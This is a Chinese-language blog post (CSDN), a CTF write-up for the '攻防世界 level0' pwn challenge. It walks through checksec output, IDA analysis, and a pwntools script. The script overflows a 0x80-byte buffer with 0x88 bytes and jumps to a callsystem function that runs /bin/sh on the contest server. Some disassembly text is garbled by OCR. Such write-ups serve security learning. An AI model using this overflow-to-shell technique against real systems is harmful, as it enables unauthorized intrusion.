攻防世界level0



<u>择N煜</u> ● 于 2019-07-24 21:02:50 发布 ● 875 ℃ 收藏 2 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。本文链接:<u>https://blog.csdn.net/qq_45213259/article/details/97158834</u> 版权

对于pwn的题我们刚拿到题一般情况下先放到PEID查壳软件中发现有壳,之后将文件拖到ubuntu中进行查壳,先输入checksec level0

结果如下:

zenj [*]	yu@ubuntu:≁ '/home/zei	<pre>~/Desktop\$ checksec level0 hyu/Desktop/level0'</pre>	
	Arch:	amd64-64-little	
	RELRO:	No RELRO	
	Stack:	No canary found	
•	NX:		
	PIE:	No PIE (0x400000)	

会发现Stack没有找到,即为栈溢出型,接下来我们就要通过栈溢出来寻找flag。 由于在查壳过程中发现level0是64位的,于是我们将level0拖入64位的IDA中,然后在main函数中发现如下"hello world\n":

un	wind {
sh	rbp
/	rbp, rsp
c	rsp, 10h
/	[rbp+var_4], edi
/	[rbp+var_10], rsi
/	edx, 0Dh ; n
/	esi, offset aHelloWorld ; "Hello, World\n"
/	edi, 1 ; fd
11	_write
/	eax, 0 https://blog.csdn.net/qq_4521325

我们按Tab加空格键进行查看伪C代码如下:

(可能由于电脑原因或许不是按Tab加空格键,而是F5或者Fn加F5,如果自己自己不知道的话,可以都是试一下)。

IDA View-A I Heredocode-A Heredocode-A

现有一个vulnerable_function()的方法,我们一路跟随进去

IDA View-A I Pseudocode-A I
Issize_t vulnerable_function()
2 {
3 char buf; // [rsp+0h] [rbp-80h]

在main函数代码中,会发



没有参数传入,buf的长度位0x80,当buf的长度0x80h填满的时候,它之后的地址就可以实现任意转跳。 再按Shift加F12转到String window中查看有没有其他需要的东西。由于需要用来栈溢出需要转跳到的地方,因此需要找到一个输入的语句

🖪 IDA View-A	🗵 📑 Pseu	docode	-A 🗵 🔄 Strings window 🗵
Address	Length	Турє	String
S LOAD:000	0000001C	С	/lib64/ld-linux-x86-64. so. 2
's' LOAD:000	000000A	С	libc.so.6
's' LOAD:000	00000005	С	read
's' LOAD:000	0000007	С	system
's' LOAD:000	00000012	С	libc_start_main
's' LOAD:000	0000006	С	write
's' LOAD:000	000000F	С	gmon_start
's' LOAD:000	000000C	С	GLIBC_2.2.5
😴 .rodata:…	0000008	С	/bin/sh
's' .rodata:…	000000E	С	Hello, World\n
's' .eh_fram…	0000006	С	;*3\$\″

https://blog.csdn.net/gg_45213259

跟随下去,点击进入

会发现后面显示在callsystem,然后点击左边的callsystem函数

00000400596 00000400596 00000400596 cal	llsystem	public c proc nea	allsystem r		
00000400596 ; 00000400596 00000400597 0000040059A 0000040059F 000004005A4	_unwind {	push mov mov call pop	rbp rbp, rsp edi, offset _system rbp	command ;	"/bin/sh"
000004005A5 000004005A5 ; } 000004005A5 cal	// starts at llsystem	retn t <mark>400596</mark> endp			

会发现

会发现再string window中会有/bin/sh,我们继续

callsystem的地址即为400596

接下来我们将编写脚本如下

```
from pwn import *
p = remote("111.198.29.45","32092")
call_system = 0x400596
print p64(call_system)
payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
```

然后在ubuntu的桌面终端用pyhton运行这个脚本,然后再Is显示内容,你会发现其中有一个flag,再cat flag即显示flag.